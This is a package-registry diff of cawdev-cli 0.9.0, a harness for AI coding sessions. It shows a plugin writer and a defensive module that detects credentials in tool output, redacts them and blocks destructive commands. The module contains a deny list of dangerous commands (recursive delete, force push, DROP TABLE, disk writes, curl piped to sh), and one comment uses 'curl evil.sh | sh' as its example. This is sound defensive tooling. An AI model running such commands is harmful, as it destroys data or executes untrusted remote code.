cawdev-cli 0.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +175 -0
- package/lib/ansi.mjs +224 -0
- package/lib/cawdev.mjs +104 -0
- package/lib/code-map.mjs +164 -0
- package/lib/harness-prompt.mjs +197 -0
- package/lib/roadmap-format.mjs +453 -0
- package/lib/run-plugin.mjs +119 -0
- package/lib/secrets.mjs +290 -0
- package/lib/stage-tools.mjs +384 -0
- package/lib/tool-line.mjs +92 -0
- package/lib/tool-rules.mjs +282 -0
- package/lib/transcript-batch.mjs +88 -0
- package/lib/usage-limit.mjs +80 -0
- package/lib/usage-report.mjs +142 -0
- package/lib/usage.mjs +119 -0
- package/mcp/README.md +273 -0
- package/mcp/orchestration-smoke.mjs +267 -0
- package/mcp/server.mjs +2163 -0
- package/mcp/smoke.mjs +220 -0
- package/package.json +20 -0
- package/runner/README.md +930 -0
- package/runner/attach.mjs +2397 -0
- package/runner/banner.mjs +106 -0
- package/runner/bootstrap.mjs +501 -0
- package/runner/brand.mjs +57 -0
- package/runner/cawdev.mjs +414 -0
- package/runner/control.mjs +225 -0
- package/runner/history.mjs +91 -0
- package/runner/input.mjs +355 -0
- package/runner/macbook-laptop.json +48 -0
- package/runner/runner.mjs +7445 -0
- package/runner/scrollback.mjs +165 -0
- package/runner/select.mjs +316 -0
- package/runner/session-store.mjs +78 -0
- package/runner/sign-in.mjs +210 -0
- package/runner/stub-agent.mjs +212 -0
- package/runner/token-store.mjs +107 -0
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The experts and skills a run was given, written as ONE Claude Code plugin —
|
|
3
|
+
* R104, R105.
|
|
4
|
+
*
|
|
5
|
+
* Pure but for the writing, and in `lib/` for `code-map.mjs`'s reason: the hard
|
|
6
|
+
* part is a FILE — a subagent whose frontmatter somebody else's punctuation
|
|
7
|
+
* broke is an agent the CLI silently never loads, and the only symptom is a
|
|
8
|
+
* session that quietly does not delegate. That is testable without a daemon, a
|
|
9
|
+
* platform or a repository, and it should be.
|
|
10
|
+
*/
|
|
11
|
+
|
|
12
|
+
import { mkdir, writeFile } from 'node:fs/promises';
|
|
13
|
+
import { join } from 'node:path';
|
|
14
|
+
|
|
15
|
+
/**
|
|
16
|
+
* The plugin's name, and therefore the NAMESPACE the CLI puts on everything in
|
|
17
|
+
* it — R147.
|
|
18
|
+
*
|
|
19
|
+
* <p>Claude Code registers a plugin's agents and skills as `<plugin>:<name>`:
|
|
20
|
+
* an expert written as `agents/architect.md` in a plugin called `cawdev` is
|
|
21
|
+
* `cawdev:architect` to the session, and `Agent(architect)` is refused with
|
|
22
|
+
* "Agent type 'architect' not found". For a hundred and forty runs the
|
|
23
|
+
* transcript told people — and the ledger matched on — the bare key, which is
|
|
24
|
+
* the name nothing answered to. Short, so a call reads as a call.
|
|
25
|
+
*/
|
|
26
|
+
export const PLUGIN_NAME = 'cawdev';
|
|
27
|
+
|
|
28
|
+
/** The name a session must use to reach an expert or a skill from the plugin. */
|
|
29
|
+
export function qualified(key) {
|
|
30
|
+
return `${PLUGIN_NAME}:${key}`;
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
/**
|
|
34
|
+
* Writes the experts and skills this run was given, as ONE Claude Code plugin —
|
|
35
|
+
* R104, R105.
|
|
36
|
+
*
|
|
37
|
+
* <p>Into a directory this daemon owns, and never into the checkout. That is
|
|
38
|
+
* the whole reason it is done this way. The agent is spawned with
|
|
39
|
+
* `--setting-sources ''` on purpose: without it a session silently inherits
|
|
40
|
+
* whatever the operator has allowed themselves, and a repository's own
|
|
41
|
+
* `.claude/` would be able to widen what a run may do — which makes R51's
|
|
42
|
+
* ceiling decorative. Writing agents into the working copy to get them loaded
|
|
43
|
+
* would reopen exactly that door, and dirty the tree on the way through.
|
|
44
|
+
*
|
|
45
|
+
* A plugin directory is the mechanism that needs neither: `--plugin-dir` loads
|
|
46
|
+
* `agents/` and `skills/` from a path, and leaves every setting source off.
|
|
47
|
+
*
|
|
48
|
+
* Returns the directory, or null when the project turned nothing on — in which
|
|
49
|
+
* case no flag is passed at all, rather than an empty plugin being loaded.
|
|
50
|
+
*/
|
|
51
|
+
export async function writeRunPlugin(directory, expertAgents, skills) {
|
|
52
|
+
if (!expertAgents.length && !skills.length) {
|
|
53
|
+
return null;
|
|
54
|
+
}
|
|
55
|
+
const root = join(directory, PLUGIN_NAME);
|
|
56
|
+
await mkdir(join(root, '.claude-plugin'), { recursive: true });
|
|
57
|
+
await writeFile(join(root, '.claude-plugin', 'plugin.json'), JSON.stringify({
|
|
58
|
+
name: PLUGIN_NAME,
|
|
59
|
+
description: 'What this project turned on in cawdev.',
|
|
60
|
+
version: '1.0.0',
|
|
61
|
+
}, null, 2));
|
|
62
|
+
|
|
63
|
+
for (const agent of expertAgents) {
|
|
64
|
+
await mkdir(join(root, 'agents'), { recursive: true });
|
|
65
|
+
await writeFile(join(root, 'agents', `${agent.key}.md`), agentFile(agent));
|
|
66
|
+
}
|
|
67
|
+
for (const skill of skills) {
|
|
68
|
+
await mkdir(join(root, 'skills', skill.key), { recursive: true });
|
|
69
|
+
await writeFile(join(root, 'skills', skill.key, 'SKILL.md'), skillFile(skill));
|
|
70
|
+
}
|
|
71
|
+
return root;
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
/**
|
|
75
|
+
* A subagent file, frontmatter rebuilt rather than passed through.
|
|
76
|
+
*
|
|
77
|
+
* <p>The platform stores the body and the four fields separately, so this
|
|
78
|
+
* writes the four it knows and nothing else. A field the file originally
|
|
79
|
+
* carried and cawdev does not store is DROPPED, deliberately: passing through
|
|
80
|
+
* frontmatter nobody parsed would be handing the CLI keys cawdev never looked
|
|
81
|
+
* at, out of a repository somebody else wrote.
|
|
82
|
+
*/
|
|
83
|
+
export function agentFile(agent) {
|
|
84
|
+
const head = ['---', `name: ${agent.key}`, `description: ${yamlScalar(agent.description)}`];
|
|
85
|
+
if (agent.tools) {
|
|
86
|
+
head.push(`tools: ${agent.tools}`);
|
|
87
|
+
}
|
|
88
|
+
if (agent.model) {
|
|
89
|
+
head.push(`model: ${agent.model}`);
|
|
90
|
+
}
|
|
91
|
+
head.push('---', '');
|
|
92
|
+
return `${head.join('\n')}\n${agent.body ?? ''}\n`;
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
export function skillFile(skill) {
|
|
96
|
+
const head = [
|
|
97
|
+
'---',
|
|
98
|
+
`name: ${skill.key}`,
|
|
99
|
+
`description: ${yamlScalar(skill.description)}`,
|
|
100
|
+
'---',
|
|
101
|
+
'',
|
|
102
|
+
];
|
|
103
|
+
return `${head.join('\n')}\n${skill.body ?? ''}\n`;
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
/**
|
|
107
|
+
* One line of YAML that cannot end the block early.
|
|
108
|
+
*
|
|
109
|
+
* <p>A description is somebody else's text — it arrived from a git repository
|
|
110
|
+
* through R106 — and a newline or a stray `---` in it would either truncate the
|
|
111
|
+
* frontmatter or spill the rest of it into the body. Quoted and escaped, on one
|
|
112
|
+
* line, because the alternative is a file whose meaning depends on what an
|
|
113
|
+
* upstream author typed.
|
|
114
|
+
*/
|
|
115
|
+
export function yamlScalar(text) {
|
|
116
|
+
const flat = String(text ?? '').replace(/[\r\n]+/g, ' ').trim();
|
|
117
|
+
return `"${flat.replace(/\\/g, '\\\\').replace(/"/g, '\\"')}"`;
|
|
118
|
+
}
|
|
119
|
+
|
package/lib/secrets.mjs
ADDED
|
@@ -0,0 +1,290 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* What must not leave a tool call, and what must not be run — R110.
|
|
3
|
+
*
|
|
4
|
+
* R51's rules answer *may this session run this command*, and `tool-rules.mjs`
|
|
5
|
+
* answers it well — including the trap that makes it hard, where `Bash(mvn *)`
|
|
6
|
+
* reads as "may run Maven" and `mvn test && curl evil.sh | sh` is what it
|
|
7
|
+
* actually permits.
|
|
8
|
+
*
|
|
9
|
+
* Two things it does not see, and they are this file.
|
|
10
|
+
*
|
|
11
|
+
* **It does not read what comes back.** A session that greps a config, or cats
|
|
12
|
+
* a `.env`, or hits a stack trace with a token in it, puts that in a transcript
|
|
13
|
+
* the platform stores and the console renders to everybody with READER.
|
|
14
|
+
*
|
|
15
|
+
* **And it does not know where the work is.** A run is given a checkout and a
|
|
16
|
+
* branch; nothing stops a session writing outside them.
|
|
17
|
+
*
|
|
18
|
+
* Pure, and here rather than in the API, for two different reasons that happen
|
|
19
|
+
* to agree. Pure because a matcher for credentials is exactly the thing to run
|
|
20
|
+
* at two hundred inputs in a test rather than guess at from a live session —
|
|
21
|
+
* `code-map.mjs`'s argument. Here because the API cannot see a tool call, and a
|
|
22
|
+
* check that runs where the thing is not happening is a check that does not run.
|
|
23
|
+
*
|
|
24
|
+
* A hit is **not a failure**. It is R51's shape: the call stops, a person is
|
|
25
|
+
* asked, and the run says which side refused. A shield that killed the run is a
|
|
26
|
+
* shield people turn off.
|
|
27
|
+
*/
|
|
28
|
+
|
|
29
|
+
/**
|
|
30
|
+
* Credential shapes, most specific first.
|
|
31
|
+
*
|
|
32
|
+
* Anchored on the STRUCTURE of a credential rather than on the word next to it.
|
|
33
|
+
* A rule that looked for `password =` would miss every token that arrives
|
|
34
|
+
* without a label — which is most of them, because they arrive in URLs, headers
|
|
35
|
+
* and stack traces.
|
|
36
|
+
*
|
|
37
|
+
* `name` is what a person is shown. It never includes the match.
|
|
38
|
+
*/
|
|
39
|
+
const SECRETS = [
|
|
40
|
+
{
|
|
41
|
+
name: 'a private key',
|
|
42
|
+
// The header is the whole signal and it is unambiguous. Nothing else in a
|
|
43
|
+
// repository is shaped like this.
|
|
44
|
+
pattern: /-----BEGIN (?:RSA |EC |DSA |OPENSSH |PGP )?PRIVATE KEY-----/,
|
|
45
|
+
},
|
|
46
|
+
{
|
|
47
|
+
name: 'an AWS access key id',
|
|
48
|
+
pattern: /\b(?:AKIA|ASIA)[0-9A-Z]{16}\b/,
|
|
49
|
+
},
|
|
50
|
+
{
|
|
51
|
+
name: 'a GitHub token',
|
|
52
|
+
pattern: /\bgh[pousr]_[A-Za-z0-9]{36,}\b/,
|
|
53
|
+
},
|
|
54
|
+
{
|
|
55
|
+
name: 'a Slack token',
|
|
56
|
+
pattern: /\bxox[abposr]-[A-Za-z0-9-]{10,}\b/,
|
|
57
|
+
},
|
|
58
|
+
{
|
|
59
|
+
name: 'an Anthropic API key',
|
|
60
|
+
pattern: /\bsk-ant-[A-Za-z0-9_-]{20,}\b/,
|
|
61
|
+
},
|
|
62
|
+
{
|
|
63
|
+
name: 'an OpenAI API key',
|
|
64
|
+
pattern: /\bsk-(?:proj-)?[A-Za-z0-9]{32,}\b/,
|
|
65
|
+
},
|
|
66
|
+
{
|
|
67
|
+
name: 'a Google API key',
|
|
68
|
+
pattern: /\bAIza[0-9A-Za-z_-]{35}\b/,
|
|
69
|
+
},
|
|
70
|
+
{
|
|
71
|
+
name: 'a JSON web token',
|
|
72
|
+
// Three base64url segments. The `eyJ` prefix is a `{"` header, which is what
|
|
73
|
+
// makes this distinguishable from any other dotted string.
|
|
74
|
+
pattern: /\beyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b/,
|
|
75
|
+
},
|
|
76
|
+
{
|
|
77
|
+
name: 'a password in a connection URL',
|
|
78
|
+
// The one place a password is reliably positional rather than labelled.
|
|
79
|
+
pattern: /\b[a-z][a-z0-9+.-]*:\/\/[^\s:/@]+:[^\s/@]{3,}@/i,
|
|
80
|
+
},
|
|
81
|
+
{
|
|
82
|
+
name: 'a bearer token',
|
|
83
|
+
pattern: /\bauthorization\s*:\s*bearer\s+[A-Za-z0-9._~+/-]{16,}/i,
|
|
84
|
+
},
|
|
85
|
+
{
|
|
86
|
+
name: "cawdev's own run token",
|
|
87
|
+
// Ours, and the one this codebase is most likely to leak into its own
|
|
88
|
+
// transcript: `cawdr_` is minted per run and appears in an environment.
|
|
89
|
+
pattern: /\bcawdr_[A-Za-z0-9_-]{16,}\b/,
|
|
90
|
+
},
|
|
91
|
+
];
|
|
92
|
+
|
|
93
|
+
/**
|
|
94
|
+
* Commands that are usually fine and occasionally catastrophic — R110.
|
|
95
|
+
*
|
|
96
|
+
* "Usually fine" is the point. Nobody needs protecting from a command that is
|
|
97
|
+
* always wrong; they need protecting from the one they run twenty times a week
|
|
98
|
+
* and once, at three in the morning, in the wrong directory.
|
|
99
|
+
*
|
|
100
|
+
* Deliberately SHORT. A long list is one that gets turned off wholesale, and
|
|
101
|
+
* every entry here has to earn a person's time when it stops them.
|
|
102
|
+
*/
|
|
103
|
+
const DESTRUCTIVE = [
|
|
104
|
+
{
|
|
105
|
+
// Both flags, in one cluster. The alternation is GROUPED, and the first
|
|
106
|
+
// version of this was not: `...[rR]...[fF]|[fF]...[rR]` reads as "an rm with
|
|
107
|
+
// -rf, OR an f followed by an r anywhere at all", which matched the `fr` in
|
|
108
|
+
// `select * from users` and would have stopped every query in the codebase.
|
|
109
|
+
name: 'a recursive delete',
|
|
110
|
+
pattern: /\brm\s+(?:-[a-zA-Z]+\s+)*-[a-zA-Z]*(?:[rR][a-zA-Z]*[fF]|[fF][a-zA-Z]*[rR])/,
|
|
111
|
+
},
|
|
112
|
+
{
|
|
113
|
+
// And the same thing written as two flags: `rm -r -f build`.
|
|
114
|
+
name: 'a recursive delete',
|
|
115
|
+
pattern: /\brm\s+(?:-[a-zA-Z]+\s+)*-[a-zA-Z]*[rR][a-zA-Z]*\s+(?:-[a-zA-Z]+\s+)*-[a-zA-Z]*[fF]/,
|
|
116
|
+
},
|
|
117
|
+
{ name: 'a force push', pattern: /\bgit\s+push\b[^\n]*(?:--force(?!-with-lease)|(?<![\w-])-f\b)/ },
|
|
118
|
+
{ name: 'a hard reset', pattern: /\bgit\s+reset\s+[^\n]*--hard\b/ },
|
|
119
|
+
{ name: 'a branch deletion', pattern: /\bgit\s+(?:branch|push)\b[^\n]*(?:-D\b|--delete\b)/ },
|
|
120
|
+
{ name: 'a history rewrite', pattern: /\bgit\s+(?:filter-branch|filter-repo)\b/ },
|
|
121
|
+
{ name: 'dropping a table or database', pattern: /\bdrop\s+(?:table|database|schema)\b/i },
|
|
122
|
+
{ name: 'a delete with no where clause', pattern: /\bdelete\s+from\s+\w+\s*(?:;|$)/i },
|
|
123
|
+
{ name: 'a truncate', pattern: /\btruncate\s+(?:table\s+)?\w+/i },
|
|
124
|
+
{ name: 'a disk write', pattern: /\b(?:mkfs|dd)\b[^\n]*\bof=\/dev\// },
|
|
125
|
+
{ name: 'a permission reset on a whole tree', pattern: /\bchmod\s+-R\s+777\b/ },
|
|
126
|
+
{ name: 'piping the network into a shell', pattern: /\b(?:curl|wget)\b[^\n|]*\|\s*(?:ba|z|k)?sh\b/ },
|
|
127
|
+
];
|
|
128
|
+
|
|
129
|
+
/** How much of an offending line is shown. See `redact`. */
|
|
130
|
+
const CONTEXT = 40;
|
|
131
|
+
|
|
132
|
+
/**
|
|
133
|
+
* What a piece of text reveals, if anything.
|
|
134
|
+
*
|
|
135
|
+
* Returns the FIRST match only. A result listing every secret in a file would
|
|
136
|
+
* be a result that is itself a catalogue of that file's secrets, which is the
|
|
137
|
+
* failure this exists to prevent, written to a different place.
|
|
138
|
+
*
|
|
139
|
+
* @param text anything a tool produced or is about to run
|
|
140
|
+
* @returns {{name: string, redacted: string}|null}
|
|
141
|
+
*/
|
|
142
|
+
export function findSecret(text) {
|
|
143
|
+
if (typeof text !== 'string' || !text) {
|
|
144
|
+
return null;
|
|
145
|
+
}
|
|
146
|
+
for (const { name, pattern } of SECRETS) {
|
|
147
|
+
const found = pattern.exec(text);
|
|
148
|
+
if (found) {
|
|
149
|
+
return { name, redacted: redact(text, found.index, found[0].length) };
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
return null;
|
|
153
|
+
}
|
|
154
|
+
|
|
155
|
+
/**
|
|
156
|
+
* Whether a command is one of the ones worth stopping.
|
|
157
|
+
*
|
|
158
|
+
* Reads the WHOLE command string, not its first word. `tool-rules.mjs` already
|
|
159
|
+
* treats a compound command as un-matchable for the opposite reason — it will
|
|
160
|
+
* not let a rule about `mvn` grant `mvn && curl | sh` — and the same shape here
|
|
161
|
+
* means a destructive tail cannot hide behind a harmless head.
|
|
162
|
+
*
|
|
163
|
+
* @returns {{name: string, redacted: string}|null}
|
|
164
|
+
*/
|
|
165
|
+
export function findDestructive(command) {
|
|
166
|
+
if (typeof command !== 'string' || !command) {
|
|
167
|
+
return null;
|
|
168
|
+
}
|
|
169
|
+
for (const { name, pattern } of DESTRUCTIVE) {
|
|
170
|
+
const found = pattern.exec(command);
|
|
171
|
+
if (found) {
|
|
172
|
+
return { name, redacted: redact(command, found.index, found[0].length) };
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
return null;
|
|
176
|
+
}
|
|
177
|
+
|
|
178
|
+
/**
|
|
179
|
+
* Whether a path is inside the work.
|
|
180
|
+
*
|
|
181
|
+
* The comparison is on RESOLVED paths and on segment boundaries. `/work/repo`
|
|
182
|
+
* must not be read as containing `/work/repo-secrets`, which a `startsWith`
|
|
183
|
+
* alone would — the same mistake `mcp__codegraph` covering
|
|
184
|
+
* `mcp__codegraph-evil__x` would be, and `tool-rules.mjs` refuses it for the
|
|
185
|
+
* same reason.
|
|
186
|
+
*
|
|
187
|
+
* `..` is resolved BEFORE the comparison rather than searched for: a path is
|
|
188
|
+
* outside the checkout because of where it lands, not because of how it is
|
|
189
|
+
* spelled, and a rule that rejected the characters would reject
|
|
190
|
+
* `src/../src/main` while letting a symlink through.
|
|
191
|
+
*
|
|
192
|
+
* @param path an absolute or checkout-relative path the session wants to write
|
|
193
|
+
* @param root the checkout, absolute
|
|
194
|
+
* @param scope optional globs within the root; null means the whole checkout
|
|
195
|
+
*/
|
|
196
|
+
export function withinScope(path, root, scope = null) {
|
|
197
|
+
if (typeof path !== 'string' || typeof root !== 'string' || !root) {
|
|
198
|
+
return false;
|
|
199
|
+
}
|
|
200
|
+
const resolved = normalise(path.startsWith('/') ? path : `${root}/${path}`);
|
|
201
|
+
const base = normalise(root);
|
|
202
|
+
if (resolved !== base && !resolved.startsWith(`${base}/`)) {
|
|
203
|
+
return false;
|
|
204
|
+
}
|
|
205
|
+
if (!Array.isArray(scope) || scope.length === 0) {
|
|
206
|
+
return true;
|
|
207
|
+
}
|
|
208
|
+
const relative = resolved === base ? '' : resolved.slice(base.length + 1);
|
|
209
|
+
return scope.some((glob) => matches(relative, glob));
|
|
210
|
+
}
|
|
211
|
+
|
|
212
|
+
/**
|
|
213
|
+
* A path with `.` and `..` resolved, without touching the filesystem.
|
|
214
|
+
*
|
|
215
|
+
* Its own rather than `node:path`'s `resolve`, because that one resolves
|
|
216
|
+
* against the PROCESS's working directory when handed a relative path — and the
|
|
217
|
+
* daemon's cwd is not the checkout. A silent dependence on where the daemon
|
|
218
|
+
* happens to be standing is exactly the bug this function exists to not have.
|
|
219
|
+
*/
|
|
220
|
+
function normalise(path) {
|
|
221
|
+
const absolute = path.startsWith('/');
|
|
222
|
+
const out = [];
|
|
223
|
+
for (const part of path.split('/')) {
|
|
224
|
+
if (!part || part === '.') {
|
|
225
|
+
continue;
|
|
226
|
+
}
|
|
227
|
+
if (part === '..') {
|
|
228
|
+
if (out.length && out[out.length - 1] !== '..') {
|
|
229
|
+
out.pop();
|
|
230
|
+
} else if (!absolute) {
|
|
231
|
+
out.push('..');
|
|
232
|
+
}
|
|
233
|
+
continue;
|
|
234
|
+
}
|
|
235
|
+
out.push(part);
|
|
236
|
+
}
|
|
237
|
+
return (absolute ? '/' : '') + out.join('/');
|
|
238
|
+
}
|
|
239
|
+
|
|
240
|
+
/**
|
|
241
|
+
* A glob, supporting `*`, `**` and `?` and nothing else.
|
|
242
|
+
*
|
|
243
|
+
* Deliberately small. A full glob implementation would be a dependency, and the
|
|
244
|
+
* zero-dep constraint is what makes `tools/` a directory somebody can read
|
|
245
|
+
* before running it against their repositories.
|
|
246
|
+
*/
|
|
247
|
+
function matches(path, glob) {
|
|
248
|
+
if (typeof glob !== 'string' || !glob) {
|
|
249
|
+
return false;
|
|
250
|
+
}
|
|
251
|
+
// `docs/**` names the directory as well as what is under it. Without this a
|
|
252
|
+
// scope of `docs/**` would refuse a write to `docs` itself, which is a rule
|
|
253
|
+
// that reads as "may write the docs" and behaves as "may not".
|
|
254
|
+
const directory = glob.replace(/\/\*\*$/, '');
|
|
255
|
+
if (directory !== glob && (path === directory || under(path, directory))) {
|
|
256
|
+
return true;
|
|
257
|
+
}
|
|
258
|
+
return under(path, glob);
|
|
259
|
+
}
|
|
260
|
+
|
|
261
|
+
/** Whether a path is the glob, or is inside it. */
|
|
262
|
+
function under(path, glob) {
|
|
263
|
+
const source = glob
|
|
264
|
+
.replace(/[.+^${}()|[\]\\]/g, '\\$&')
|
|
265
|
+
// `**` crosses separators; a single `*` does not. Ordered so the two-star
|
|
266
|
+
// form is consumed before the one-star rule can see half of it.
|
|
267
|
+
.replace(/\*\*/g, '\u0000')
|
|
268
|
+
.replace(/\*/g, '[^/]*')
|
|
269
|
+
.replace(/\u0000/g, '.*')
|
|
270
|
+
.replace(/\?/g, '[^/]');
|
|
271
|
+
return new RegExp(`^${source}$`).test(path) || new RegExp(`^${source}/`).test(path);
|
|
272
|
+
}
|
|
273
|
+
|
|
274
|
+
/**
|
|
275
|
+
* Enough of the line to recognise, with the match itself removed.
|
|
276
|
+
*
|
|
277
|
+
* The redaction is the point and it is easy to get backwards: a block record
|
|
278
|
+
* that carried the secret it blocked would be the failure this file exists to
|
|
279
|
+
* prevent, written to the database this time. So the match is replaced, never
|
|
280
|
+
* truncated — a truncated key is still most of a key.
|
|
281
|
+
*/
|
|
282
|
+
export function redact(text, index, length) {
|
|
283
|
+
const from = Math.max(0, index - CONTEXT);
|
|
284
|
+
const to = Math.min(text.length, index + length + CONTEXT);
|
|
285
|
+
const before = text.slice(from, index);
|
|
286
|
+
const after = text.slice(index + length, to);
|
|
287
|
+
return `${from > 0 ? '…' : ''}${before}[redacted]${after}${to < text.length ? '…' : ''}`
|
|
288
|
+
.replace(/\s+/g, ' ')
|
|
289
|
+
.trim();
|
|
290
|
+
}
|